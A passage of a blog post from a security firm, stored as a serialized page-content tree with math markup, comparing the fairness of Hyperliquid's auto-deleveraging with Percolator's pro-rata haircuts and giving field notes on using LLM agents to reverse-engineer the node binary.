",{"type":23,"tag":154,"props":166450,"children":166452},{"className":166451},[500,501],[166453],{"type":23,"tag":504,"props":166454,"children":166456},{"className":166455},[507],[166457],{"type":23,"tag":504,"props":166458,"children":166460},{"className":166459,"ariaHidden":513},[512],[166461,166487],{"type":23,"tag":504,"props":166462,"children":166464},{"className":166463},[518],[166465,166469,166474,166478,166483],{"type":23,"tag":504,"props":166466,"children":166468},{"className":166467,"style":23635},[523],[],{"type":23,"tag":504,"props":166470,"children":166472},{"className":166471,"style":563},[529,530],[166473],{"type":29,"value":123604},{"type":23,"tag":504,"props":166475,"children":166477},{"className":166476,"style":538},[537],[],{"type":23,"tag":504,"props":166479,"children":166481},{"className":166480},[543],[166482],{"type":29,"value":546},{"type":23,"tag":504,"props":166484,"children":166486},{"className":166485,"style":538},[537],[],{"type":23,"tag":504,"props":166488,"children":166490},{"className":166489},[518],[166491,166495],{"type":23,"tag":504,"props":166492,"children":166494},{"className":166493,"style":1690},[523],[],{"type":23,"tag":504,"props":166496,"children":166498},{"className":166497},[529],[166499],{"type":29,"value":826},{"type":29,"value":166501}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":154,"props":166503,"children":166505},{"className":166504},[500,501],[166506],{"type":23,"tag":504,"props":166507,"children":166509},{"className":166508},[507],[166510],{"type":23,"tag":504,"props":166511,"children":166513},{"className":166512,"ariaHidden":513},[512],[166514,166541],{"type":23,"tag":504,"props":166515,"children":166517},{"className":166516},[518],[166518,166522,166527,166531,166537],{"type":23,"tag":504,"props":166519,"children":166521},{"className":166520,"style":23635},[523],[],{"type":23,"tag":504,"props":166523,"children":166525},{"className":166524,"style":563},[529,530],[166526],{"type":29,"value":123604},{"type":23,"tag":504,"props":166528,"children":166530},{"className":166529,"style":538},[537],[],{"type":23,"tag":504,"props":166532,"children":166534},{"className":166533},[543],[166535],{"type":29,"value":166536},"≈",{"type":23,"tag":504,"props":166538,"children":166540},{"className":166539,"style":538},[537],[],{"type":23,"tag":504,"props":166542,"children":166544},{"className":166543},[518],[166545,166549],{"type":23,"tag":504,"props":166546,"children":166548},{"className":166547,"style":1690},[523],[],{"type":23,"tag":504,"props":166550,"children":166552},{"className":166551},[529],[166553],{"type":29,"value":708},{"type":29,"value":166555}," means a few get wiped while most are untouched.",{"type":23,"tag":143,"props":166557,"children":166558},{},[166559,166563,166564,166722,166724,166818,166820],{"type":23,"tag":4321,"props":166560,"children":166561},{},[166562],{"type":29,"value":162658},{"type":29,"value":34967},{"type":23,"tag":154,"props":166565,"children":166567},{"className":166566},[500,501],[166568],{"type":23,"tag":504,"props":166569,"children":166571},{"className":166570},[507],[166572],{"type":23,"tag":504,"props":166573,"children":166575},{"className":166574,"ariaHidden":513},[512],[166576],{"type":23,"tag":504,"props":166577,"children":166579},{"className":166578},[518],[166580,166585,166660,166665],{"type":23,"tag":504,"props":166581,"children":166584},{"className":166582,"style":166583},[523],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":504,"props":166586,"children":166588},{"className":166587},[529],[166589,166594],{"type":23,"tag":504,"props":166590,"children":166592},{"className":166591,"style":2674},[529,530],[166593],{"type":29,"value":163383},{"type":23,"tag":504,"props":166595,"children":166597},{"className":166596},[666],[166598],{"type":23,"tag":504,"props":166599,"children":166601},{"className":166600},[671,672],[166602,166648],{"type":23,"tag":504,"props":166603,"children":166605},{"className":166604},[677],[166606,166643],{"type":23,"tag":504,"props":166607,"children":166609},{"className":166608,"style":110543},[682],[166610,166627],{"type":23,"tag":504,"props":166611,"children":166613},{"style":166612},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[166614,166618],{"type":23,"tag":504,"props":166615,"children":166617},{"className":166616,"style":693},[692],[],{"type":23,"tag":504,"props":166619,"children":166621},{"className":166620},[698,699,700,701],[166622],{"type":23,"tag":504,"props":166623,"children":166625},{"className":166624,"style":563},[529,530,701],[166626],{"type":29,"value":8033},{"type":23,"tag":504,"props":166628,"children":166629},{"style":6099},[166630,166634],{"type":23,"tag":504,"props":166631,"children":166633},{"className":166632,"style":693},[692],[],{"type":23,"tag":504,"props":166635,"children":166637},{"className":166636},[698,699,700,701],[166638],{"type":23,"tag":504,"props":166639,"children":166641},{"className":166640,"style":1136},[529,530,701],[166642],{"type":29,"value":162897},{"type":23,"tag":504,"props":166644,"children":166646},{"className":166645},[712],[166647],{"type":29,"value":715},{"type":23,"tag":504,"props":166649,"children":166651},{"className":166650},[677],[166652],{"type":23,"tag":504,"props":166653,"children":166656},{"className":166654,"style":166655},[682],"height:0.2753em;",[166657],{"type":23,"tag":504,"props":166658,"children":166659},{},[],{"type":23,"tag":504,"props":166661,"children":166663},{"className":166662},[529],[166664],{"type":29,"value":6623},{"type":23,"tag":504,"props":166666,"children":166668},{"className":166667},[529],[166669,166674],{"type":23,"tag":504,"props":166670,"children":166672},{"className":166671,"style":2674},[529,530],[166673],{"type":29,"value":163383},{"type":23,"tag":504,"props":166675,"children":166677},{"className":166676},[666],[166678],{"type":23,"tag":504,"props":166679,"children":166681},{"className":166680},[671,672],[166682,166711],{"type":23,"tag":504,"props":166683,"children":166685},{"className":166684},[677],[166686,166706],{"type":23,"tag":504,"props":166687,"children":166689},{"className":166688,"style":144381},[682],[166690],{"type":23,"tag":504,"props":166691,"children":166692},{"style":163402},[166693,166697],{"type":23,"tag":504,"props":166694,"children":166696},{"className":166695,"style":693},[692],[],{"type":23,"tag":504,"props":166698,"children":166700},{"className":166699},[698,699,700,701],[166701],{"type":23,"tag":504,"props":166702,"children":166704},{"className":166703,"style":563},[529,530,701],[166705],{"type":29,"value":8033},{"type":23,"tag":504,"props":166707,"children":166709},{"className":166708},[712],[166710],{"type":29,"value":715},{"type":23,"tag":504,"props":166712,"children":166714},{"className":166713},[677],[166715],{"type":23,"tag":504,"props":166716,"children":166718},{"className":166717,"style":723},[682],[166719],{"type":23,"tag":504,"props":166720,"children":166721},{},[],{"type":29,"value":166723}," — ",{"type":23,"tag":154,"props":166725,"children":166727},{"className":166726},[500,501],[166728],{"type":23,"tag":504,"props":166729,"children":166731},{"className":166730},[507],[166732],{"type":23,"tag":504,"props":166733,"children":166735},{"className":166734,"ariaHidden":513},[512],[166736],{"type":23,"tag":504,"props":166737,"children":166739},{"className":166738},[518],[166740,166745],{"type":23,"tag":504,"props":166741,"children":166744},{"className":166742,"style":166743},[523],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":504,"props":166746,"children":166748},{"className":166747},[529],[166749,166754],{"type":23,"tag":504,"props":166750,"children":166752},{"className":166751,"style":2674},[529,530],[166753],{"type":29,"value":163383},{"type":23,"tag":504,"props":166755,"children":166757},{"className":166756},[666],[166758],{"type":23,"tag":504,"props":166759,"children":166761},{"className":166760},[671,672],[166762,166807],{"type":23,"tag":504,"props":166763,"children":166765},{"className":166764},[677],[166766,166802],{"type":23,"tag":504,"props":166767,"children":166769},{"className":166768,"style":110543},[682],[166770,166786],{"type":23,"tag":504,"props":166771,"children":166772},{"style":166612},[166773,166777],{"type":23,"tag":504,"props":166774,"children":166776},{"className":166775,"style":693},[692],[],{"type":23,"tag":504,"props":166778,"children":166780},{"className":166779},[698,699,700,701],[166781],{"type":23,"tag":504,"props":166782,"children":166784},{"className":166783,"style":563},[529,530,701],[166785],{"type":29,"value":8033},{"type":23,"tag":504,"props":166787,"children":166788},{"style":6099},[166789,166793],{"type":23,"tag":504,"props":166790,"children":166792},{"className":166791,"style":693},[692],[],{"type":23,"tag":504,"props":166794,"children":166796},{"className":166795},[698,699,700,701],[166797],{"type":23,"tag":504,"props":166798,"children":166800},{"className":166799,"style":1136},[529,530,701],[166801],{"type":29,"value":162897},{"type":23,"tag":504,"props":166803,"children":166805},{"className":166804},[712],[166806],{"type":29,"value":715},{"type":23,"tag":504,"props":166808,"children":166810},{"className":166809},[677],[166811],{"type":23,"tag":504,"props":166812,"children":166814},{"className":166813,"style":166655},[682],[166815],{"type":23,"tag":504,"props":166816,"children":166817},{},[],{"type":29,"value":166819}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":154,"props":166821,"children":166823},{"className":166822},[500,501],[166824],{"type":23,"tag":504,"props":166825,"children":166827},{"className":166826},[507],[166828],{"type":23,"tag":504,"props":166829,"children":166831},{"className":166830,"ariaHidden":513},[512],[166832],{"type":23,"tag":504,"props":166833,"children":166835},{"className":166834},[518],[166836,166840],{"type":23,"tag":504,"props":166837,"children":166839},{"className":166838,"style":112667},[523],[],{"type":23,"tag":504,"props":166841,"children":166843},{"className":166842,"style":1136},[529,530],[166844],{"type":29,"value":162897},{"type":23,"tag":32,"props":166846,"children":166847},{},[166848],{"type":29,"value":166849},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":166851,"props":166852,"children":166854},"git-hub-repo-link",{"url":166853},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":32,"props":166856,"children":166857},{},[166858,166860,166865],{"type":29,"value":166859},"Given a fixed ",{"type":23,"tag":4321,"props":166861,"children":166862},{},[166863],{"type":29,"value":166864},"a priori",{"type":29,"value":166866}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":32,"props":166868,"children":166869},{},[166870,166872,166877,166879,166956],{"type":29,"value":166871},"One prediction that we can make is that Percolator is ",{"type":23,"tag":4321,"props":166873,"children":166874},{},[166875],{"type":29,"value":166876},"perfectly fair",{"type":29,"value":166878}," according to this scoring: the ",{"type":23,"tag":154,"props":166880,"children":166882},{"className":166881},[500,501],[166883],{"type":23,"tag":504,"props":166884,"children":166886},{"className":166885},[507],[166887],{"type":23,"tag":504,"props":166888,"children":166890},{"className":166889,"ariaHidden":513},[512],[166891],{"type":23,"tag":504,"props":166892,"children":166894},{"className":166893},[518],[166895,166899],{"type":23,"tag":504,"props":166896,"children":166898},{"className":166897,"style":144105},[523],[],{"type":23,"tag":504,"props":166900,"children":166902},{"className":166901},[529],[166903,166908],{"type":23,"tag":504,"props":166904,"children":166906},{"className":166905},[529,530],[166907],{"type":29,"value":533},{"type":23,"tag":504,"props":166909,"children":166911},{"className":166910},[666],[166912],{"type":23,"tag":504,"props":166913,"children":166915},{"className":166914},[671,672],[166916,166945],{"type":23,"tag":504,"props":166917,"children":166919},{"className":166918},[677],[166920,166940],{"type":23,"tag":504,"props":166921,"children":166923},{"className":166922,"style":1180},[682],[166924],{"type":23,"tag":504,"props":166925,"children":166926},{"style":687},[166927,166931],{"type":23,"tag":504,"props":166928,"children":166930},{"className":166929,"style":693},[692],[],{"type":23,"tag":504,"props":166932,"children":166934},{"className":166933},[698,699,700,701],[166935],{"type":23,"tag":504,"props":166936,"children":166938},{"className":166937},[529,530,701],[166939],{"type":29,"value":578},{"type":23,"tag":504,"props":166941,"children":166943},{"className":166942},[712],[166944],{"type":29,"value":715},{"type":23,"tag":504,"props":166946,"children":166948},{"className":166947},[677],[166949],{"type":23,"tag":504,"props":166950,"children":166952},{"className":166951,"style":723},[682],[166953],{"type":23,"tag":504,"props":166954,"children":166955},{},[],{"type":29,"value":166957}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":32,"props":166959,"children":166960},{},[166961,166963,166968],{"type":29,"value":166962},"We are ignoring the ",{"type":23,"tag":4321,"props":166964,"children":166965},{},[166966],{"type":29,"value":166967},"a posteriori",{"type":29,"value":166969}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":32,"props":166971,"children":166972},{},[166973],{"type":29,"value":166974},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":24,"props":166976,"children":166978},{"id":166977},"simulations",[166979],{"type":29,"value":166980},"Simulations",{"type":23,"tag":32,"props":166982,"children":166983},{},[166984],{"type":29,"value":166985},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":32,"props":166987,"children":166988},{},[166989],{"type":23,"tag":199,"props":166990,"children":166993},{"alt":166991,"src":166992},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":32,"props":166995,"children":166996},{},[166997],{"type":29,"value":166998},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":32,"props":167000,"children":167001},{},[167002],{"type":23,"tag":199,"props":167003,"children":167006},{"alt":167004,"src":167005},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":320,"props":167008,"children":167010},{"id":167009},"percolator-is-more-optimistic",[167011],{"type":29,"value":167012},"Percolator Is More \"Optimistic\"",{"type":23,"tag":32,"props":167014,"children":167015},{},[167016,167018,167023,167025,167030,167032,167038,167040,167045],{"type":29,"value":167017},"The key difference is what happens to positions. ADL ",{"type":23,"tag":4321,"props":167019,"children":167020},{},[167021],{"type":29,"value":167022},"permanently closes",{"type":29,"value":167024}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":4321,"props":167026,"children":167027},{},[167028],{"type":29,"value":167029},"withdraw",{"type":29,"value":167031},", but the position stays open. If conditions improve, ",{"type":23,"tag":154,"props":167033,"children":167035},{"className":167034},[],[167036],{"type":29,"value":167037},"Residual",{"type":29,"value":167039}," goes up, ",{"type":23,"tag":154,"props":167041,"children":167043},{"className":167042},[],[167044],{"type":29,"value":533},{"type":29,"value":167046}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":32,"props":167048,"children":167049},{},[167050,167052,167056],{"type":29,"value":167051},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":4321,"props":167053,"children":167054},{},[167055],{"type":29,"value":22239},{"type":29,"value":167057}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":32,"props":167059,"children":167060},{},[167061],{"type":23,"tag":199,"props":167062,"children":167065},{"alt":167063,"src":167064},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":24,"props":167067,"children":167069},{"id":167068},"some-points-to-be-made",[167070],{"type":29,"value":167071},"Some Points to Be Made",{"type":23,"tag":320,"props":167073,"children":167075},{"id":167074},"percolator-is-indifferent-to-leverage",[167076],{"type":29,"value":167077},"Percolator Is Indifferent to Leverage",{"type":23,"tag":32,"props":167079,"children":167080},{},[167081],{"type":29,"value":167082},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":32,"props":167084,"children":167085},{},[167086],{"type":23,"tag":199,"props":167087,"children":167090},{"alt":167088,"src":167089},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":320,"props":167092,"children":167094},{"id":167093},"fairness",[167095],{"type":29,"value":162648},{"type":23,"tag":32,"props":167097,"children":167098},{},[167099],{"type":29,"value":167100},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":32,"props":167102,"children":167103},{},[167104],{"type":23,"tag":199,"props":167105,"children":167108},{"alt":167106,"src":167107},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":32,"props":167110,"children":167111},{},[167112,167114,167119],{"type":29,"value":167113},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":154,"props":167115,"children":167117},{"className":167116},[],[167118],{"type":29,"value":161150},{"type":29,"value":167120}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":24,"props":167122,"children":167124},{"id":167123},"strengths-and-limitations-of-agents-for-reverse-engineering",[167125],{"type":29,"value":167126},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":32,"props":167128,"children":167129},{},[167130],{"type":29,"value":167131},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":320,"props":167133,"children":167135},{"id":167134},"hooks",[167136],{"type":29,"value":167137},"Hooks",{"type":23,"tag":32,"props":167139,"children":167140},{},[167141,167143,167147],{"type":29,"value":167142},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":4321,"props":167144,"children":167145},{},[167146],{"type":29,"value":167134},{"type":29,"value":167148},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":32,"props":167150,"children":167151},{},[167152],{"type":29,"value":167153},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":320,"props":167155,"children":167157},{"id":167156},"scale",[167158],{"type":29,"value":167159},"Scale",{"type":23,"tag":32,"props":167161,"children":167162},{},[167163],{"type":29,"value":167164},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":32,"props":167166,"children":167167},{},[167168],{"type":29,"value":167169},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":320,"props":167171,"children":167173},{"id":167172},"whats-next",[167174],{"type":29,"value":167175},"What's next?",{"type":23,"tag":32,"props":167177,"children":167178},{},[167179],{"type":29,"value":167180},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":166851,"props":167182,"children":167183},{"url":160811},[],{"type":23,"tag":32,"props":167185,"children":167186},{},[167187],{"type":29,"value":167188},"The analyzed binary can be found here:",{"type":23,"tag":161131,"props":167190,"children":167193},{"path":167191,"name":160735,"size":167192},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":320,"props":167195,"children":167197},{"id":167196},"closing-words",[167198],{"type":29,"value":167199},"Closing Words",{"type":23,"tag":32,"props":167201,"children":167202},{},[167203],{"type":29,"value":167204},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":32,"props":167206,"children":167207},{},[167208,167210,167215],{"type":29,"value":167209},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":4321,"props":167211,"children":167212},{},[167213],{"type":29,"value":167214},"manual",{"type":29,"value":167216}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":32,"props":167218,"children":167219},{},[167220],{"type":29,"value":167221},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":32,"props":167223,"children":167224},{},[167225],{"type":29,"value":167226},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":167228,"props":167229,"children":167230},"report-footnotes",{},[167231],{"type":23,"tag":139,"props":167232,"children":167233},{},[167234,167239,167266,167271,167276],{"type":23,"tag":143,"props":167235,"children":167236},{},[167237],{"type":29,"value":167238},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":143,"props":167240,"children":167241},{},[167242,167248,167250,167256,167258,167264],{"type":23,"tag":154,"props":167243,"children":167245},{"className":167244},[],[167246],{"type":29,"value":167247},"compute_user_margin_and_shortfall",{"type":29,"value":167249}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":154,"props":167251,"children":167253},{"className":167252},[],[167254],{"type":29,"value":167255},"0x748",{"type":29,"value":167257}," in the abstract expressions of ",{"type":23,"tag":154,"props":167259,"children":167261},{"className":167260},[],[167262],{"type":29,"value":167263},"btree_cursor",{"type":29,"value":167265},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":143,"props":167267,"children":167268},{},[167269],{"type":29,"value":167270},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":143,"props":167272,"children":167273},{},[167274],{"type":29,"value":167275},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":143,"props":167277,"children":167278},{},[167279,167281,167287],{"type":29,"value":167280},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":154,"props":167282,"children":167284},{"className":167283},[],[167285],{"type":29,"value":167286},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":357},{"title":7,"searchDepth":4868,"depth":4868,"links":167289},[167290,167291,167292,167293,167294,167297,167298,167299,167302,167303,167306,167310],{"id":160681,"depth":4868,"text":160684},{"id":160674,"depth":4868,"text":160702},{"id":160759,"depth":4868,"text":160762},{"id":161040,"depth":4868,"text":161043},{"id":161074,"depth":4868,"text":161077,"children":167295},[167296],{"id":161213,"depth":4876,"text":161216},{"id":161992,"depth":4868,"text":161995},{"id":162088,"depth":4868,"text":162091},{"id":162306,"depth":4868,"text":162309,"children":167300},[167301],{"id":162551,"depth":4876,"text":162554},{"id":162611,"depth":4868,"text":162614},{"id":166977,"depth":4868,"text":166980,"children":167304},[167305],{"id":167009,"depth":4876,"text":167012},{"id":167068,"depth":4868,"text":167071,"children":167307},[167308,167309],{"id":167074,"depth":4876,"text":167077},{"id":167093,"depth":4876,"text":162648},{"id":167123,"depth":4868,"text":167126,"children":167311},[167312,167313,167314,167315],{"id":167134,"depth":4876,"text":167137},{"id":167156,"depth":4876,"text":167159},{"id":167172,"depth":4876,"text":167175},{"id":167196,"depth":4876,"text":167199},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630615]